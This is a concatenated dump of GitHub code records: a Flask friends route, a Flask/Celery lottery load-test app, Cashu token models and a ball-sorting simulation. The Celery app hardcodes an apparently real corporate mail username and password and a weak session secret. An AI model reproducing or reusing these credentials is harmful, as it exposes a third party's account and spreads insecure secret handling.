results.reset_index()\n\nprint(results.shape)\nprint(sub.shape)\n\nprint(results.dtypes)\nprint(results.isnull().any().any())\n\nresults.to_csv(\"./submission.csv\", index=False)","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/lish-moa/June/noise-reducing-dnn-model.py","file_name":"noise-reducing-dnn-model.py","file_ext":"py","file_size_in_byte":10040,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"70377493921","text":"from flask import render_template, request, session, redirect, url_for\n\nfrom main import app, get_session_user, render_page\nfrom datastore import dao\n\n@app.route(\"/friends\")\ndef friends():\n\t\"\"\"Return the user's friends list.\"\"\"\n\tuser = get_session_user()\n\tif user is None:\n\t\treturn redirect(url_for(\"login\"))\n\n\tuser_friends = list(map(\n\t\tlambda user_id: dao.get_user(user_id),\n\t\tuser[\"friends\"]\n\t))\n\n\treturn render_page(\"friends.html\", {\n\t\t\"friends\": user_friends,\n\t})\n","repo_name":"cs1520/final--group-2","sub_path":"route_friends.py","file_name":"route_friends.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5906299891","text":"import os\nimport random\nimport time\nfrom flask import Flask, request, render_template, session, flash, redirect, \\\n url_for, jsonify\nfrom flask_cors import CORS, cross_origin #导入包\nfrom flask_mail import Mail, Message\nfrom celery import Celery\nimport requests\nimport util\nimport redis\nimport random\nimport json\nimport signal\nfrom functools import wraps\nfrom flask import make_response\n \n\n# 跨域问题的解决方案:\ndef allow_cross_domain(fun):\n @wraps(fun)\n def wrapper_fun(*args, **kwargs):\n rst = make_response(fun(*args, **kwargs))\n rst.headers['Access-Control-Allow-Origin'] = 'http://localhost:8080'\n rst.headers['Access-Control-Allow-Methods'] = 'PUT,GET,POST,DELETE'\n allow_headers = \"Referer,Accept,Origin,User-Agent\"\n rst.headers['Access-Control-Allow-Headers'] = allow_headers\n rst.headers['Access-Control-Allow-Credentials'] = 'true'\n return rst\n return wrapper_fun\n\nconn = redis.StrictRedis(host='localhost', port=6379, db=8,decode_responses=True)\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'top-secret!'\n\n# Flask-Mail configuration\napp.config['MAIL_SERVER'] = 'smtp.corp.kuaishou.com'\napp.config['MAIL_PORT'] = 25\napp.config['MAIL_USE_TLS'] = True\n# app.config['MAIL_USERNAME'] = os.environ.get('MAIL_USERNAME')\napp.config['MAIL_USERNAME'] = \"acfunqa@kuaishou.com\"\n# app.config['MAIL_PASSWORD'] = os.environ.get('MAIL_PASSWORD')\napp.config['MAIL_PASSWORD'] = ('acfun_QA01')\napp.config['MAIL_DEFAULT_SENDER'] = 'acfunqa@kuaishou.com'\n\n# Celery configuration\napp.config['CELERY_BROKER_URL'] = 'redis://localhost:6379/8'\napp.config['CELERYD_MAX_TASKS_PER_CHILD'] = 100\napp.config['CELERYD_FORCE_EXECV'] = True\n# app.config['CELERY_RESULT_BACKEND'] = 'redis://localhost:6379/8'\n\n\n# Initialize extensions\nmail = Mail(app)\n\n# Initialize Celery\ncelery = Celery(app.name, broker=app.config['CELERY_BROKER_URL'])\ncelery.conf.update(app.config)\n\n\n@celery.task\ndef send_async_email(email_data):\n \"\"\"Background task to send an email with Flask-Mail.\"\"\"\n msg = Message(email_data['subject'],\n sender=app.config['MAIL_DEFAULT_SENDER'],\n recipients=[email_data['to']])\n msg.body = email_data['body']\n with app.app_context():\n mail.send(msg)\n\n\n@celery.task(bind=True)\ndef set_chance2(self,pool_id,uid,per_count):\n start_time = time.time()\n print(\"开始设置2\")\n # response = requests.get('http://hb2-acf-staging-ls011.aliyun:31706/test/prize/addDrawTimes?userId=' + str(uid) +'&numberOfDraws=' + str(per_count) + '&prizePoolId=' + str(pool_id) )\n response = requests.get('http://localhost:8885/hello?userId=' + str(uid) + '&numberOfDraws=' + str(per_count) + '&prizePoolId=' + str(pool_id))\n res_text = json.loads(response.text)\n res_success = res_text[\"success\"]\n # print(\"type\",type(json.loads(response.text)[\"success\"]))\n if res_success:\n for i in range(per_count):\n conn.lpush(\"set_changce_result_\"+str(pool_id),uid)\n end_time = time.time()\n if int (end_time - start_time) >= 0.2:\n pass\n else:\n time.sleep(0.2 + start_time - end_time) # 保证每次请求的时间是200ms\n return { 'status': 'Task completed!',\n 'result': \"success\"}\n\n\n\n\n@celery.task(bind=True)\ndef set_chance(self,pool_id,uid_start,uid_end):\n print(\"开始设置\")\n uids_all = range(int(uid_start),int(uid_end),1)\n # time.sleep(10)\n per_count = 10\n for uid in uids_all:\n # print(\"haha\")\n response = requests.get('http://hb2-acf-staging-ls011.aliyun:31706/test/prize/addDrawTimes?userId=' + str(uid) +'&numberOfDraws=' + str(per_count) + '&prizePoolId=' + str(pool_id) )\n res_text = json.loads(response.text)\n res_success = res_text[\"success\"]\n # print(\"type\",type(json.loads(response.text)[\"success\"]))\n if res_success:\n for i in range(per_count):\n conn.lpush(\"set_changce_result_\"+str(pool_id),uid)\n return { 'status': 'Task completed!',\n 'result': \"success\"}\n\n@celery.task()\ndef set_mid_chance( pool_id,uid_start,uid_end):\n print(\"pool_id\",pool_id)\n print(\"uid_start\",uid_start)\n print(\"uid_end\",uid_end)\n uids_all = range(int(uid_start), int(uid_end), 1)\n # set_chance.apply_async(args=(pool_id,uid_start,uid_end), queue='set_changce_' + pool_id)\n # 杀掉其他奖池的set_changce worker\n util.kill_other_worker(\"set_changce_\\d+\", 'set_changce_' + str(pool_id))\n set_chance_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q set_changce_' + str(pool_id) + ' --concurrency=10 &'\n time.sleep(0.5)\n has_contain, pids = util.has_contain_pid('set_changce_' + str(pool_id))\n if has_contain:\n pass\n else:\n os.system(set_chance_worker_command)\n per_count = 1\n for uid in uids_all:\n set_chance2.apply_async(args=(pool_id, uid, per_count), queue='set_changce_' + pool_id)\n\n return \"set_chance start\"\n # 计算开始抽奖的时间\n pool_start_time = '2020-10-10 14:32:00'\n # 转换成时间数组\n timeArray = time.strptime(pool_start_time, \"%Y-%m-%d %H:%M:%S\")\n # 转换成时间戳\n pool_start_timestamp = time.mktime(timeArray)\n delay_time = int(time.time() - pool_start_timestamp) + 1\n\n\n\n # 杀掉其他奖池的mid worker\n util.kill_other_worker(\"lucky_draw_mid_\\d+\", \"lucky_draw_mid_\" + str(pool_id))\n # 判断是否有draw_mid worker,如果无,通过系统命令启动\n lucky_draw_mid_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_mid_' + str(\n pool_id) + ' --concurrency=2 &'\n has_contain, pids = util.has_contain_pid('lucky_draw_mid_' + str(pool_id))\n if has_contain:\n pass\n else:\n pass\n # os.system(lucky_draw_mid_worker_command)\n\n\n # 杀掉其他奖池的draw worker\n util.kill_other_worker(\"lucky_draw_\\d+\", \"lucky_draw_\" + str(pool_id))\n # 判断是否有draw worker,如果无,通过系统命令启动\n lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' --concurrency=100 &'\n has_contain, pids = util.has_contain_pid('lucky_draw_' + str(pool_id))\n if has_contain:\n pass\n else:\n os.system(lucky_draw_worker_command)\n\n\n\n delay_time = 200\n draw_task_mid.apply_async(args=(pool_id,), countdown=delay_time, queue='lucky_draw_mid_' + str(pool_id))\n\n return \"set_chance start\"\n\n@app.route('/startSstartetChance',methods=['GET'])\ndef startSetChance():\n pool_id = request.args.get(\"pool_id\")\n uid_start = request.args.get(\"uid_start\")\n uid_end = request.args.get(\"uid_end\")\n if not util.is_num(pool_id) or not util.is_num(uid_start) or not util.is_num(uid_end):\n return {'code':2, 'err_message':'格式不对'}\n uids_cover = request.args.get(\"uids_cover\")\n has_set_changce_mid,pids = util.has_contain_pid(\"set_changce_mid\")\n\n if has_set_changce_mid:\n print(\"已经包含了\")\n pass\n else:\n print(\"指定系统命令\")\n set_mid_chance_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q set_changce_mid --concurrency=2 &'\n os.system(set_mid_chance_worker_command)\n # if has_set_changce:\n # print(pids)\n # else:\n # print(pids)\n print(\"yunxing \")\n task = set_mid_chance.apply_async(args=(pool_id,uid_start,uid_end), queue='set_changce_mid')\n return {'code':1,\"pool_id\":pool_id}\n\n\n@celery.task(bind=True)\ndef long_task(self):\n \"\"\"Background task that runs a long function with progress reports.\"\"\"\n verb = ['Starting up', 'Booting', 'Repairing', 'Loading', 'Checking']\n adjective = ['master', 'radiant', 'silent', 'harmonic', 'fast']\n noun = ['solar array', 'particle reshaper', 'cosmic ray', 'orbiter', 'bit']\n message = ''\n total = random.randint(10, 50)\n for i in range(total):\n if not message or random.random() < 0.25:\n message = '{0} {1} {2}...'.format(random.choice(verb),\n random.choice(adjective),\n random.choice(noun))\n self.update_state(state='PROGRESS',\n meta={'current': i, 'total': total,\n 'status': message})\n time.sleep(1)\n return {'current': 100, 'total': 100, 'status': 'Task completed!',\n 'result': 42}\n\n\n@celery.task()\ndef draw_task_mid(pool_id):\n # 杀掉其他奖池的worker\n util.kill_other_worker(\"lucky_draw_\\d+\", \"lucky_draw_\" + str(pool_id))\n # 判断是否有draw worker,如果无,通过系统命令启动\n lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' --concurrency=20 &'\n # lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' &'\n time.sleep(0.5) #\n has_contain, pids = util.has_contain_pid('lucky_draw_' + str(pool_id))\n if has_contain:\n pass\n else:\n pass\n os.system(lucky_draw_worker_command)\n\n\n\n # lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' --concurrency=10 &'\n # os.system(lucky_draw_worker_command)\n\n set_changce_result_key = 'set_changce_result_' + str(pool_id)\n drawable_uids = conn.lrange(set_changce_result_key, 0, -1)\n random.shuffle(drawable_uids)\n for uid in drawable_uids:\n draw_task.apply_async(args=('http://localhost:8885/hello?pool_id=' + pool_id + \"&uid=\" + str(uid), pool_id),queue=\"lucky_draw_\"+str(pool_id))\n # time.sleep(10)\n\n\n # 杀掉其他奖池的worker\n util.kill_other_worker(\"lucky_draw_\\d+\", \"lucky_draw_\" + str(pool_id))\n # 判断是否有draw worker,如果无,通过系统命令启动\n lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' --concurrency=20 &'\n # lucky_draw_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_' + str(pool_id) + ' &'\n has_contain, pids = util.has_contain_pid('lucky_draw_' + str(pool_id))\n if has_contain:\n pass\n else:\n pass\n os.system(lucky_draw_worker_command)\n\n\n return \"抽奖触发任务完成\"\n\n@celery.task()\ndef draw_task(request_url, pool_id):\n start_time = time.time()\n print(\"进入抽奖\",request_url)\n response = requests.get(request_url)\n draw_result = json.loads(response.text)\n prize_id = (draw_result[\"message\"])\n conn.lpush('draw_result_' + str(pool_id), str(int(time.time())) + '____' + str(request_url.split(\"uid=\")[-1].strip()) + '____' + str(prize_id))\n end_time = time.time()\n if int (end_time - start_time) >= 0.2:\n pass\n else:\n time.sleep(0.2 + start_time - end_time) # 保证每次请求的时间是200ms\n\n return \"开始抽奖\"\n\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html', email=session.get('email', ''))\n email = request.form['email']\n session['email'] = email\n\n # send the email\n email_data = {\n 'subject': 'Hello from Flask',\n 'to': email,\n 'body': 'This is a test email sent from a background Celery task.'\n }\n if request.form['submit'] == 'Send':\n # send right away\n send_async_email.delay(email_data)\n flash('Sending email to {0}'.format(email))\n else:\n # send in one minute\n send_async_email.apply_async(args=[email_data], countdown=60, queue=\"send_mail_delay\")\n flash('An email will be sent to {0} in one minute'.format(email))\n\n return redirect(url_for('index'))\n\n\n@app.route('/longtask', methods=['POST'])\ndef longtask():\n task = long_task.apply_async()\n return jsonify({}), 202, {'Location': url_for('taskstatus',\n task_id=task.id)}\n\n\n@app.route('/status/')\ndef taskstatus(task_id):\n task = long_task.AsyncResult(task_id)\n if task.state == 'PENDING':\n response = {\n 'state': task.state,\n 'current': 0,\n 'total': 1,\n 'status': 'Pending...'\n }\n elif task.state != 'FAILURE':\n if task.state == 'SUCCESS':\n print(\"SUCCESS\", task.info)\n response = {\n 'state': task.state,\n 'current': task.info.get('current', 0),\n 'total': task.info.get('total', 1),\n 'status': task.info.get('status', '')\n }\n if 'result' in task.info:\n response['result'] = task.info['result']\n else:\n # something went wrong in the background job\n response = {\n 'state': task.state,\n 'current': 1,\n 'total': 1,\n 'status': str(task.info), # this is the exception raised\n }\n return jsonify(response)\n\n\n@app.route('/lucky/draw',methods=['GET'])\ndef lucky_draw():\n pass\n pool_id = request.args.get(\"pool_id\")\n set_changce_result_key = 'set_changce_result_' + str(pool_id)\n drawable_count = conn.llen(set_changce_result_key)\n draw_result_key = 'draw_result_' + str(pool_id)\n draw_result_count = conn.llen(draw_result_key)\n if draw_result_count>0:\n return {\"code\": 1, \"pool_id\": pool_id} # 已经有抽奖,不能再次抽奖\n elif drawable_count==0:\n return {\"code\": 2, \"pool_id\": pool_id} # 未设置抽奖机会,不能抽奖\n elif draw_result_count==0 and drawable_count>0 :\n # drawable_uids =\n\n # 计算开始抽奖的时间\n pool_start_time = '2020-10-10 14:36:00'\n # 转换成时间数组\n timeArray = time.strptime(pool_start_time, \"%Y-%m-%d %H:%M:%S\")\n # 转换成时间戳\n pool_start_timestamp = time.mktime(timeArray)\n delay_time = int(time.time() - pool_start_timestamp) + 1\n delay_time = 200\n print(delay_time)\n\n\n\n # 杀掉其他奖池的mid worker\n util.kill_other_worker(\"lucky_draw_mid_\\d+\", \"lucky_draw_mid_\" + str(pool_id))\n # 判断是否有draw_mid worker,如果无,通过系统命令启动\n lucky_draw_mid_worker_command = 'nohup celery worker -A app.celery --loglevel=INFO -Q lucky_draw_mid_' + str(pool_id) + ' --concurrency=2 &'\n has_contain, pids = util.has_contain_pid('lucky_draw_mid_' + str(pool_id))\n if has_contain:\n pass\n else:\n os.system(lucky_draw_mid_worker_command)\n\n\n\n\n # draw_task_mid.apply_async(args=(pool_id,), countdown=delay_time, queue='lucky_draw_mid_'+str(pool_id))\n\n draw_task_mid.apply_async(args=(pool_id,), queue='lucky_draw_mid_' + str(pool_id))\n\n return {\"code\": 0, \"pool_id\": pool_id} # 开始抽奖任务\n\n\n@app.route('/test', methods=['GET', 'POST'])\n@allow_cross_domain\ndef test():\n return {\"code\": 0, \"pool_id\": 1}\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"smqh-smqh/kwai","sub_path":"gits/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35304091392","text":"import base64\nimport json\nfrom sqlite3 import Row\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom loguru import logger\nfrom pydantic import BaseModel\n\nfrom .crypto.keys import derive_keys, derive_keyset_id, derive_pubkeys\nfrom .crypto.secp import PrivateKey, PublicKey\nfrom .legacy import derive_keys_backwards_compatible_insecure_pre_0_12\nfrom .p2pk import sign_p2pk_sign\n\n# ------- PROOFS -------\n\n\nclass SecretKind:\n P2SH = \"P2SH\"\n P2PK = \"P2PK\"\n\n\nclass Tags(BaseModel):\n __root__: List[List[str]]\n\n def get_tag(self, tag_name: str) -> Union[str, None]:\n for tag in self.__root__:\n if tag[0] == tag_name:\n return tag[1]\n return None\n\n\nclass Secret(BaseModel):\n \"\"\"Describes spending condition encoded in the secret field of a Proof.\"\"\"\n\n kind: str\n data: str\n nonce: Union[None, str] = None\n timelock: Union[None, int] = None\n tags: Union[None, Tags] = None\n\n def serialize(self) -> str:\n data_dict: Dict[str, Any] = {\n \"data\": self.data,\n \"nonce\": self.nonce or PrivateKey().serialize()[:32],\n }\n if self.timelock:\n data_dict[\"timelock\"] = self.timelock\n if self.tags:\n data_dict[\"tags\"] = self.tags.__root__\n logger.debug(\n json.dumps(\n [self.kind, data_dict],\n )\n )\n return json.dumps(\n [self.kind, data_dict],\n )\n\n @classmethod\n def deserialize(cls, data: str):\n kind, kwargs = json.loads(data)\n return cls(kind=kind, **kwargs)\n\n\nclass P2SHScript(BaseModel):\n \"\"\"\n Unlocks P2SH spending condition of a Proof\n \"\"\"\n\n script: str\n signature: str\n address: Union[str, None] = None\n\n\nclass Proof(BaseModel):\n \"\"\"\n Value token\n \"\"\"\n\n id: Union[\n None, str\n ] = \"\" # NOTE: None for backwards compatibility for old clients that do not include the keyset id < 0.3\n amount: int = 0\n secret: str = \"\" # secret or message to be blinded and signed\n C: str = \"\" # signature on secret, unblinded by wallet\n p2pksig: Optional[str] = None # P2PK signature\n p2shscript: Union[P2SHScript, None] = None # P2SH spending condition\n reserved: Union[\n None, bool\n ] = False # whether this proof is reserved for sending, used for coin management in the wallet\n send_id: Union[\n None, str\n ] = \"\" # unique ID of send attempt, used for grouping pending tokens in the wallet\n time_created: Union[None, str] = \"\"\n time_reserved: Union[None, str] = \"\"\n\n def to_dict(self):\n # dictionary without the fields that don't need to be send to Carol\n return dict(id=self.id, amount=self.amount, secret=self.secret, C=self.C)\n\n def to_dict_no_secret(self):\n # dictionary but without the secret itself\n return dict(id=self.id, amount=self.amount, C=self.C)\n\n def __getitem__(self, key):\n return self.__getattribute__(key)\n\n def __setitem__(self, key, val):\n self.__setattr__(key, val)\n\n\nclass Proofs(BaseModel):\n # NOTE: not used in Pydantic validation\n __root__: List[Proof]\n\n\nclass BlindedMessage(BaseModel):\n \"\"\"\n Blinded message or blinded secret or \"output\" which is to be signed by the mint\n \"\"\"\n\n amount: int\n B_: str # Hex-encoded blinded message\n\n\nclass BlindedSignature(BaseModel):\n \"\"\"\n Blinded signature or \"promise\" which is the signature on a `BlindedMessage`\n \"\"\"\n\n id: Union[str, None] = None\n amount: int\n C_: str # Hex-encoded signature\n\n\nclass BlindedMessages(BaseModel):\n # NOTE: not used in Pydantic validation\n __root__: List[BlindedMessage] = []\n\n\n# ------- LIGHTNING INVOICE -------\n\n\nclass Invoice(BaseModel):\n amount: int\n pr: str\n hash: str\n payment_hash: Union[None, str] = None\n preimage: Union[str, None] = None\n issued: Union[None, bool] = False\n paid: Union[None, bool] = False\n time_created: Union[None, str, int, float] = \"\"\n time_paid: Union[None, str, int, float] = \"\"\n\n\n# ------- API -------\n\n# ------- API: INFO -------\n\n\nclass GetInfoResponse(BaseModel):\n name: Optional[str] = None\n pubkey: Optional[str] = None\n version: Optional[str] = None\n description: Optional[str] = None\n description_long: Optional[str] = None\n contact: Optional[List[List[str]]] = None\n nuts: Optional[List[str]] = None\n motd: Optional[str] = None\n parameter: Optional[dict] = None\n\n\n# ------- API: KEYS -------\n\n\nclass KeysResponse(BaseModel):\n __root__: Dict[str, str]\n\n\nclass KeysetsResponse(BaseModel):\n keysets: list[str]\n\n\n# ------- API: MINT -------\n\n\nclass PostMintRequest(BaseModel):\n outputs: List[BlindedMessage]\n\n\nclass PostMintResponseLegacy(BaseModel):\n # NOTE: Backwards compability for < 0.8.0 where we used a simple list and not a key-value dictionary\n __root__: List[BlindedSignature] = []\n\n\nclass PostMintResponse(BaseModel):\n promises: List[BlindedSignature] = []\n\n\nclass GetMintResponse(BaseModel):\n pr: str\n hash: str\n\n\n# ------- API: MELT -------\n\n\nclass PostMeltRequest(BaseModel):\n proofs: List[Proof]\n pr: str\n outputs: Union[List[BlindedMessage], None]\n\n\nclass GetMeltResponse(BaseModel):\n paid: Union[bool, None]\n preimage: Union[str, None]\n change: Union[List[BlindedSignature], None] = None\n\n\n# ------- API: SPLIT -------\n\n\nclass PostSplitRequest(BaseModel):\n proofs: List[Proof]\n amount: int\n outputs: List[BlindedMessage]\n # signature: Optional[str] = None\n\n # def sign(self, private_key: PrivateKey):\n # \"\"\"\n # Create a signed split request. The signature is over the `proofs` and `outputs` fields.\n # \"\"\"\n # # message = json.dumps(self.proofs).encode(\"utf-8\") + json.dumps(\n # # self.outputs\n # # ).encode(\"utf-8\")\n # message = json.dumps(self.dict(include={\"proofs\": ..., \"outputs\": ...})).encode(\n # \"utf-8\"\n # )\n # self.signature = sign_p2pk_sign(message, private_key)\n\n\nclass PostSplitResponse(BaseModel):\n fst: List[BlindedSignature]\n snd: List[BlindedSignature]\n\n\n# ------- API: CHECK -------\n\n\nclass CheckSpendableRequest(BaseModel):\n proofs: List[Proof]\n\n\nclass CheckSpendableResponse(BaseModel):\n spendable: List[bool]\n pending: Optional[\n List[bool]\n ] = None # TODO: Uncomment when all mints are updated to 0.12.3 and support /check\n # with pending tokens (kept for backwards compatibility of new wallets with old mints)\n\n\nclass CheckFeesRequest(BaseModel):\n pr: str\n\n\nclass CheckFeesResponse(BaseModel):\n fee: Union[int, None]\n\n\n# ------- KEYSETS -------\n\n\nclass KeyBase(BaseModel):\n \"\"\"\n Public key from a keyset id for a given amount.\n \"\"\"\n\n id: str\n amount: int\n pubkey: str\n\n\nclass WalletKeyset:\n \"\"\"\n Contains the keyset from the wallets's perspective.\n \"\"\"\n\n id: str\n public_keys: Dict[int, PublicKey]\n mint_url: Union[str, None] = None\n valid_from: Union[str, None] = None\n valid_to: Union[str, None] = None\n first_seen: Union[str, None] = None\n active: Union[bool, None] = True\n\n def __init__(\n self,\n public_keys: Dict[int, PublicKey],\n id=None,\n mint_url=None,\n valid_from=None,\n valid_to=None,\n first_seen=None,\n active=None,\n ):\n self.valid_from = valid_from\n self.valid_to = valid_to\n self.first_seen = first_seen\n self.active = active\n self.mint_url = mint_url\n\n self.public_keys = public_keys\n # overwrite id by deriving it from the public keys\n self.id = derive_keyset_id(self.public_keys)\n\n def serialize(self):\n return json.dumps(\n {amount: key.serialize().hex() for amount, key in self.public_keys.items()}\n )\n\n @classmethod\n def from_row(cls, row: Row):\n def deserialize(serialized: str):\n return {\n amount: PublicKey(bytes.fromhex(hex_key), raw=True)\n for amount, hex_key in dict(json.loads(serialized)).items()\n }\n\n return cls(\n id=row[\"id\"],\n public_keys=deserialize(str(row[\"public_keys\"]))\n if dict(row).get(\"public_keys\")\n else {},\n mint_url=row[\"mint_url\"],\n valid_from=row[\"valid_from\"],\n valid_to=row[\"valid_to\"],\n first_seen=row[\"first_seen\"],\n active=row[\"active\"],\n )\n\n\nclass MintKeyset:\n \"\"\"\n Contains the keyset from the mint's perspective.\n \"\"\"\n\n id: Union[str, None]\n derivation_path: str\n private_keys: Dict[int, PrivateKey]\n public_keys: Union[Dict[int, PublicKey], None] = None\n valid_from: Union[str, None] = None\n valid_to: Union[str, None] = None\n first_seen: Union[str, None] = None\n active: Union[bool, None] = True\n version: Union[str, None] = None\n\n def __init__(\n self,\n id=None,\n valid_from=None,\n valid_to=None,\n first_seen=None,\n active=None,\n seed: str = \"\",\n derivation_path: str = \"\",\n version: str = \"1\",\n ):\n self.derivation_path = derivation_path\n self.id = id\n self.valid_from = valid_from\n self.valid_to = valid_to\n self.first_seen = first_seen\n self.active = active\n self.version = version\n # generate keys from seed\n if seed:\n self.generate_keys(seed)\n\n def generate_keys(self, seed):\n \"\"\"Generates keys of a keyset from a seed.\"\"\"\n backwards_compatibility_pre_0_12 = False\n if (\n self.version\n and len(self.version.split(\".\")) > 1\n and int(self.version.split(\".\")[0]) == 0\n and int(self.version.split(\".\")[1]) <= 11\n ):\n backwards_compatibility_pre_0_12 = True\n # WARNING: Broken key derivation for backwards compatibility with < 0.12\n self.private_keys = derive_keys_backwards_compatible_insecure_pre_0_12(\n seed, self.derivation_path\n )\n else:\n self.private_keys = derive_keys(seed, self.derivation_path)\n self.public_keys = derive_pubkeys(self.private_keys) # type: ignore\n self.id = derive_keyset_id(self.public_keys) # type: ignore\n if backwards_compatibility_pre_0_12:\n logger.warning(\n f\"WARNING: Using weak key derivation for keyset {self.id} (backwards compatibility < 0.12)\"\n )\n\n\nclass MintKeysets:\n \"\"\"\n Collection of keyset IDs and the corresponding keyset of the mint.\n \"\"\"\n\n keysets: Dict[str, MintKeyset]\n\n def __init__(self, keysets: List[MintKeyset]):\n self.keysets = {k.id: k for k in keysets} # type: ignore\n\n def get_ids(self):\n return [k for k, _ in self.keysets.items()]\n\n\n# ------- TOKEN -------\n\n\nclass TokenV1(BaseModel):\n \"\"\"\n A (legacy) Cashu token that includes proofs. This can only be received if the receiver knows the mint associated with the\n keyset ids of the proofs.\n \"\"\"\n\n # NOTE: not used in Pydantic validation\n __root__: List[Proof]\n\n\nclass TokenV2Mint(BaseModel):\n \"\"\"\n Object that describes how to reach the mints associated with the proofs in a TokenV2 object.\n \"\"\"\n\n url: str # mint URL\n ids: List[str] # List of keyset id's that are from this mint\n\n\nclass TokenV2(BaseModel):\n \"\"\"\n A Cashu token that includes proofs and their respective mints. Can include proofs from multiple different mints and keysets.\n \"\"\"\n\n proofs: List[Proof]\n mints: Optional[List[TokenV2Mint]] = None\n\n def to_dict(self):\n if self.mints:\n return dict(\n proofs=[p.to_dict() for p in self.proofs],\n mints=[m.dict() for m in self.mints],\n )\n else:\n return dict(proofs=[p.to_dict() for p in self.proofs])\n\n\nclass TokenV3Token(BaseModel):\n mint: Optional[str] = None\n proofs: List[Proof]\n\n def to_dict(self):\n return_dict = dict(proofs=[p.to_dict() for p in self.proofs])\n if self.mint:\n return_dict.update(dict(mint=self.mint)) # type: ignore\n return return_dict\n\n\nclass TokenV3(BaseModel):\n \"\"\"\n A Cashu token that includes proofs and their respective mints. Can include proofs from multiple different mints and keysets.\n \"\"\"\n\n token: List[TokenV3Token] = []\n memo: Optional[str] = None\n\n def to_dict(self):\n return_dict = dict(token=[t.to_dict() for t in self.token])\n if self.memo:\n return_dict.update(dict(memo=self.memo)) # type: ignore\n return return_dict\n\n def get_proofs(self):\n return [proof for token in self.token for proof in token.proofs]\n\n def get_amount(self):\n return sum([p.amount for p in self.get_proofs()])\n\n def get_keysets(self):\n return list(set([p.id for p in self.get_proofs()]))\n\n @classmethod\n def deserialize(cls, tokenv3_serialized: str):\n \"\"\"\n Takes a TokenV3 and serializes it as \"cashuA.\n \"\"\"\n prefix = \"cashuA\"\n assert tokenv3_serialized.startswith(prefix), Exception(\n f\"Token prefix not valid. Expected {prefix}.\"\n )\n token_base64 = tokenv3_serialized[len(prefix) :]\n token = json.loads(base64.urlsafe_b64decode(token_base64))\n return cls.parse_obj(token)\n\n def serialize(self):\n \"\"\"\n Takes a TokenV3 and serializes it as \"cashuA.\n \"\"\"\n prefix = \"cashuA\"\n tokenv3_serialized = prefix\n # encode the token as a base64 string\n tokenv3_serialized += base64.urlsafe_b64encode(\n json.dumps(self.to_dict()).encode()\n ).decode()\n return tokenv3_serialized\n","repo_name":"PinkDiamond1/cashu","sub_path":"cashu/core/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"39806207072","text":"import asyncio\nimport sys\n\nsys.path.append(\"../src/ballsort\")\n\nfrom test_utils import get_column_top_occupied_pos, get_column_top_vacant_pos, go_to_pos, move_ball_by_column\nfrom control_factory import get_control_sim\nfrom ch12_scenario import Ch12Scenario\nfrom state_update_model import StatePosition\nfrom ball_control import BallControl\n\n\nasync def reveal_color_values(\n bc: BallControl,\n color_to_x: dict[str, int],\n color_to_event: dict[str, asyncio.Event],\n goal_nof_colors: int\n):\n \"\"\"reveal all color values with claw 1\"\"\"\n\n nof_balls = 6 # to reveal\n right_src_x = bc.get_state().max_x - 1\n reveal_x = bc.get_state().max_x\n scrap_x = bc.get_state().max_x - 2\n\n for _ in range(nof_balls):\n # move to reveal spot (can be done conditionally if the color is already known)\n await move_ball_by_column(\n bc=bc, src_x=right_src_x, dest_x=reveal_x, claw_index=1\n )\n\n # add revealed color to dict\n revealed_ball = next(\n ball for ball in bc.get_state().balls if ball.pos.x == reveal_x\n )\n assert revealed_ball\n assert revealed_ball.value\n color_to_x[revealed_ball.color] = revealed_ball.value\n ev = color_to_event.get(revealed_ball.color)\n if ev:\n ev.set()\n if len(color_to_x) >= goal_nof_colors:\n break\n # move to scrap heap column\n await move_ball_by_column(bc=bc, src_x=reveal_x, dest_x=scrap_x, claw_index=1)\n\n\nasync def sort_into_buckets(\n bc: BallControl,\n color_to_x: dict[str, int],\n color_to_event: dict[str, asyncio.Event],\n):\n \"\"\"sort into buckets with claw 0\"\"\"\n\n claw_index = 0\n nof_balls = 6 # to sort into buckets\n right_src_x = 0\n max_y = bc.get_state().max_y\n min_y = max_y + 1 - nof_balls\n for y in range(min_y, max_y + 1):\n color = next(\n ball.color\n for ball in bc.get_state().balls\n if ball.pos == StatePosition(x=right_src_x, y=y)\n )\n \n await go_to_pos(bc=bc, dest=get_column_top_occupied_pos(bc=bc, x=right_src_x), open_claw=True, claw_index=claw_index)\n await bc.close_claw(claw_index=claw_index)\n ev = color_to_event.get(color)\n if ev:\n await ev.wait()\n dest_x = color_to_x[color]\n await go_to_pos(bc=bc, dest=get_column_top_vacant_pos(bc=bc, x=dest_x), open_claw=False, claw_index=claw_index)\n await bc.open_claw(claw_index=claw_index)\n\nasync def example_solution():\n bc = get_control_sim(0)\n await bc.set_scenario(Ch12Scenario(seed=6589))\n\n color_to_x: dict[str, int] = {}\n color_to_event: dict[str, asyncio.Event] = {}\n\n await reveal_color_values(bc=bc, color_to_x=color_to_x, color_to_event=color_to_event, goal_nof_colors=3)\n await sort_into_buckets(bc=bc, color_to_x=color_to_x, color_to_event=color_to_event)\n\n assert bc.get_state().goal_accomplished\n 